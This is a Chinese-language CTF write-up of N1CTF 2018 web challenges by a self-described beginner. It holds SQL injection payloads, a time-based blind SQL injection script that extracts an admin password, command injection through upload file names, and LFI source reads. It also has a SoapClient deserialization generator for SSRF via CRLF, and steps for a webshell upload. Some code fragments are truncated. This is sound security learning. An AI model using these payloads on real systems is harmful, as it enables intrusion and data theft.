N1CTF WEB WriteUp

77777
作为一个小白,瑟瑟发抖地选择了这道被解出次数最多的题目…emmm…还是有一些收获的。
首先题目给出了一些代码和一些信息:
N1CTF WEB WriteUp_第1张图片
N1CTF WEB WriteUp_第2张图片

信息是关于安装配置虚拟机的…和我之前配置环境的步骤,指令差不多…感觉应该没什么问题,就只是告诉我们服务器上有这个东西。
给出的代码就比较关键了。而且题目About 里说可以修改points ,告诉我们flagadmin's password ,这部分代码给出的就是如何更新points
这是第一次见在update 语句的基础上来构造sql 注入语句…其实道理是一样的,只是我想的不够明白。
首先看构造的sql 语句。$p $points 是我们可以控制的,因为$p 匹配的是%d ,所以不管我们输入的p 参数是什么,最终经过格式化之后它一定是一个数字(输入字符串时会自动将其转化为数字,如果无法转化,则为0)…$points 是经过waf() 过滤的…
刚开始做的时候,其实也没想明白是怎么样注入流程…一直在尝试使用%0a 结束update 语句,然后再select…但这样其实没办法看到我们想要的结果…更新后的points 是在profile 里可以看到的,所以正确的思路应该是把我们想要的东西,放到更新后的points 值中。
在网上查找了updatesql 注入方式。payload 如下:flag=0&hi=|conv(hex(substr((select password),1,1)),16,10)
(在做的过程中发现,最后输入points 时,应该是当做十进制来输出的,如果结果是06,会变为6…所以最后采用了conv 函数,将结果转化为十进制)
思路就是,将我们想要的password 取出来之后,变成数字,和 0 | ,这样最后更新的值就是password 的值,显示出来我们就可以得到信息了。

反思:感觉sql 注入的题目,还是要想清楚注入的流程是什么样子的,整体的方法、思路…不能看到注入点就开始瞎注入,瞎使用句子…
在做这个题目的过程中还知道一个知识点:update 不能同时查询两次…emmmm…好像不是这样描述的…上图:
N1CTF WEB WriteUp_第3张图片
报错就是图里的报错…如果图中语句去掉from user 就可以正确执行…就像这道题目的payload 一样…emmm…自己感悟吧…

77777 2
emmm…这个题目是上一道题目的加强版,长得也差不多,只是过滤条件多了一点,整体思路一样,payload 也基本相同,只是需要再多考虑写绕过条件…
先是测试发现pw) (pw 这样的是被过滤的…那就尝试用空格隔开pw 和括号,发现是可以的。payload|conv(hex(substr((select pw ),1,1)),16,10) ,这样就得到了pw 的第一个字符的ascii 码值,本来以为就这样就结束了…再接着做的时候发现2 3 4 5 9 这些数字是被过滤掉的…那就要想办法代替这些了…我是用length('11') 代替2,如此类推…(感觉有点蠢啊,不过是可行的…)。正常的应该是用二进制来代替这些被过滤掉的数字。最后拿到的pw 字段值是hahah777a7aha77777aaaa

funning eating cms
emmm…本来打算这周前几天的时候就把这些题目都看一下的…结果我做完两道题目之后网站就关掉了…源码在github 上发布了,所以打算自己复现题目来做一下…emmm…也顺便学习一波docker…之前寒假的时候就看了一些资料,但是迷迷糊糊的吧,也没有实际操作过,所以也不太清楚,这次动手感受一下可能就更理解这个东西为什么好了…

先给出源码链接:
https://github.com/Nu1LCTF/n1ctf-2018

docker的安装就不说了…将对应的eating_cms 文件夹的内容全部下载到本地,cd 到该文件夹内,使用指令docker-compose upOK 了…emmm…真的是很方便,端口映射什么的也都不需要自己再操作…之后再在本地访问http://127.0.0.1:23333 就可以开始做题了…(我的docker 是在虚拟机里装的,做题目是在物理机做,所以就是访问了虚拟机的23333端口)

N1CTF WEB WriteUp_第4张图片

N1CTF WEB WriteUp_第5张图片

N1CTF WEB WriteUp_第6张图片


复现的过程就是这样…接下来就是做题目啦…

首先…上来就让登陆,感觉很像是sql注入的题目…瞎试了一下之后决定还是先扫一下网站的目录吧,结果如图(这道题的文件真的是太多了…眼花…):
N1CTF WEB WriteUp_第7张图片

通过查看.viminfo.php 知道服务器中有updateadmin.php info.php login.php
这三个文件都无法直接去访问。

看到有register.php ,应该是要先注册,然后再登陆(当然肯定不会是以管理员的身份来登陆的…)。那访问这个文件,先随便注册一个账号,看看登陆之后是什么样子的。进入之后网站内容先不管…看到url 中的page 参数,猜测可能有文件包含…测试发现确实如此,那想要获得源码,就想到利用php://filter/read=convert.base64-encode/resource=xxx
可以得到login.php 的源码,其中我们又知道了还存在该文件:

require_once "function.php";

查看这个文件的源码。该文件包含了整个网站用到的一些函数,对我们最有用的就是用于限制的函数:

function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

由此我们可以知道,应该有flag.php manage.php ffffllllaaaaggg.php ,但是这些是被限制的,不允许我们访问。这里利用了parse_url 的特点,我们可以通过在url 中输入多个斜杠来使parse_url() 无法正确解析(但浏览器仍能识别)。
那我们就可以拿到ffffllllaaaaggg.php 文件的内容了。


接着去得到m4aaannngggeee.php 文件:


访问templates/upload.html ,发现有个上传文件的地方,文件上传后是送到了upllloadddd.php,我们同样可以查看这个文件的内容:

";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename." | base64 -w 0");
echo "";
if($_FILES['file']['error']>0){
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".",$_FILES['file']['name']));
if(!in_array($ext,$allowtype)){
    unlink($newfile);
}
?>

可以看到上传文件的文件名被直接拼接到system 指令中…那这个题目的点就拿到了…命令注入…之后就是拼接命令了…
N1CTF WEB WriteUp_第8张图片

N1CTF WEB WriteUp_第9张图片
N1CTF WEB WriteUp_第10张图片
(真正做这个题目之前我已经看过writeup 了,所以可能写这个的时候没办法按自己的思路一步一步分析…)

ls / :列出根目录(\)下的所有目录
这个题目因为限制了不可以使用 / ,出了使用ls -a .. 来绕过之外,还可以使用expr substr $(pwd) 1 1

这里写图片描述

easy&hard php
emmm…这道题目…嗯…很棒…/笑哭…

WriteUp

因为下载的docker 已经是修复之后的了…所以就按预期解法去学习这道题目了…怪不得很多人都说这个题目太可惜了…出题人确实想了挺多的…

我在绕过admin 登陆ip 的限制部分,卡了挺久…刚开始理解的不太对…
我们有一个普通账号A,一个管理员账号B,两个分别对应的session_A session_B ,我们要通过普通账号A来发布心情,注入我们构造好的序列化字符串,要重新显示时,会在showmess() 函数中反序列化字符串,在这个过程中,服务器端会去以管理员账号B,带着我们给定的session_B去访问http://127.0.0.1/index.php?action=login ,这样就让我们给定的session_B 和管理员账号绑定在一起,并且可以通过对登陆ip 的限制(因为是让服务器去发起登陆请求的)。那之后我们带着session_B 去访问index.php 就进入到管理员界面了…

$_SERVER["REMOTE_ADDR"] 是无法被伪造的…所以不能简单地通过改包去绕过…


2018.10.28
突然又想起这道题…感觉以前看的时候迷迷糊糊的呀,理解的不是很好。回头再看看,就觉得还是有进步的。

又重新做了一下,网上的WriteUp也有很详细的,我就按着自己的理解,再列一些。

首先,扫描了之后发现可以拿到config.php user.php index.php 的源码,接下来要审计源码。(感觉自己审计源码的能力还有待提高啊,对一些漏洞点不够敏感,需要多锻炼)

views应该可以说是一个路由吧,通过action 这个参数可以访问到不同的页面,这里也存在LFI

审计源码

  • 题目环境实现的功能:
    + 普通注册用户可以发布心情,查看心情,删除心情,这里涉及到数据库操作,是我 们要关注的地方
    + admin 用户可以上传文件,是我们通过sql 注入的考验之后,再操作的地方
  • config.php 中对所有用户上传的数据都进行了过滤,我们没办法按常规操作进行注入
  • insert 函数对数据做了如下处理:将反引号转换成了单引号(这边有个正则匹配替换语句要理解…感觉自己对正则表达式真是太不熟悉了),那反引号被替换之后,就出现了我们想要的单引号
  • user.phppublish 函数调用了有问题的 insert 函数,so~~

进行sql 注入尝试(正常操作是单引号,在这里换成反引号)

(图片是对那个正则表达式在本地试了一下…原谅我看这个正则表达式看了很长时间…嘤嘤嘤)
在这里插入图片描述

贴一下注入的脚本:

#blind sql injection based time
import requests
import time
import string

url = "http://********/index.php?action=publish"
cookies = {"PHPSESSID": "uar8v7nv1t6u1b4v4a9t9vm843"}
data = {
	"signature": "",
	"mood": 0
}
table = string.digits + string.lowercase + string.uppercase

def post():
	password = ""
	for i in range(1, 33):
		for j in table:
			signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j))			    
			data["signature"] = signature
			#print(data)
			try:
				re = requests.post(url, cookies = cookies, data = data, timeout = 3)
				#print(re.text)
			except:
				password += j
				print(password)
				break
	print(password)

def main():
	post()

if __name__ == '__main__':
	main()

这里要说一下:因为我们注入的时候,构造的语句使得insert 语句中最后一项value 值为1,不能被反序列化,而我们在查看页面的时候,页面会对mood 进行反序列化,导致500错误,但是这个不影响publish 操作的执行,就是在整个过程中没办法看到任何的回显,这也是选择时间盲注的原因吧。

注入得到admin 密码对应的md5加密值:2533f492a796a3227b0c6f91d102cc36 ,对应nu1ladmin 。然后带着账户密码去登录,会发现登录不上去,因为代码中限制了admin 用户只能在服务器端(127.0.0.1) 登录,这里又存在一个ssrf

以前就是不理解这个ssrf 的过程吧。
正确解法中用到一个SoapClient 类,这个类具体的实现我没有看。在用它的过程中,对该类对应的序列化对象进行反序列化的时候,对调用它的__call 函数,魔法函数,然后就会发出http 请求,请求的url 是可以通过参数设定的。

我们是想通过:伪造对127.0.0.1 发起登录请求,就是请求index.php?action=login ,我们需要控制Content-Typeapplication/x-www-form-urlencoded ,而原本调用__call 函数发出的请求中Content-Type 值不是这个,所以这里还存在一个CRLF ,也是通过SoapClient 提供的参数实现的…(感觉设计的很巧妙呀)具体为什么这个类可以实现这样的功能,emm…我自己也没有细看,就不说啦~

接下来再说一下整个攻击流程:

  • 我们注册一个带有sessionA 的用户,通过sql 注入,将insert 语句中最后一个value 的值注入为我们想要的SoapClient 类对应的序列化字符串;
  • 在查看我们已发表的心情的时候,服务器需要反序列化这个字符串,在这个过程中,会调用__call 魔法函数;
  • 是服务器执行这个函数,那么发起请求的ip 就是127.0.0.1,从而绕过了对admin 只能本地登录的限制;
  • 在这个请求中,我们让它携带了sessionB,所以登录后sessionB 就对应了admin 用户,那我们在本地用sessionB 去访问服务器,就会进行到admin 界面。

贴一下生成可以实现我们功能的序列化字符串的代码:

$target,'user_agent'=>'gaoxijiejie^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'=>'xxx'));

	$ser = serialize($soap);
	$ser = str_replace("^^", "\r\n", $ser);
	$ser = str_replace("&", "&", $ser);
	echo bin2hex($ser);
?>

接着就带着这个序列化字符串去注入,之后用sessionA 访问页面,其实页面还是显示不出来,我这边是后台报了一个SoapClient 的错误,但是_call 函数是可以成功执行的,所以带着sessionB 去请求服务器,就会发现进入到admin 界面,从而就可以上传文件了。

上传的文件对文件类型和文件内容进行了限制:

  • 对文件类型的限制,直接用Burp 抓包改Header 头绕过
  • 对文件头进行了检查,不允许是 ,通过 可以绕过(可以使用这样的绕过方式,也是需要服务器端的php进行了相应的配置的)

那么文件就可以上传成功啦~接着就是找到我们的文件。通过审计源码,我们知道,文件名的生成方式是,我们本来的文件名 + 时间戳 + 两位随机数,接下来就是通过爆破,来得到文件名,然后LFI 去访问一句话木马~~美滋滋

参考的WriteUp 是最开始提到的github 里的,感觉写的非常非常非常详细~~

(感觉现在可以理解SoapClient 这个类可以满足这个题目中的要求…但是如果我做题的时候可以做到这一步…估计我是不可能找得到这个类的…设计的这么巧妙,还需努力鸭~~)

你可能感兴趣的:(WriteUp)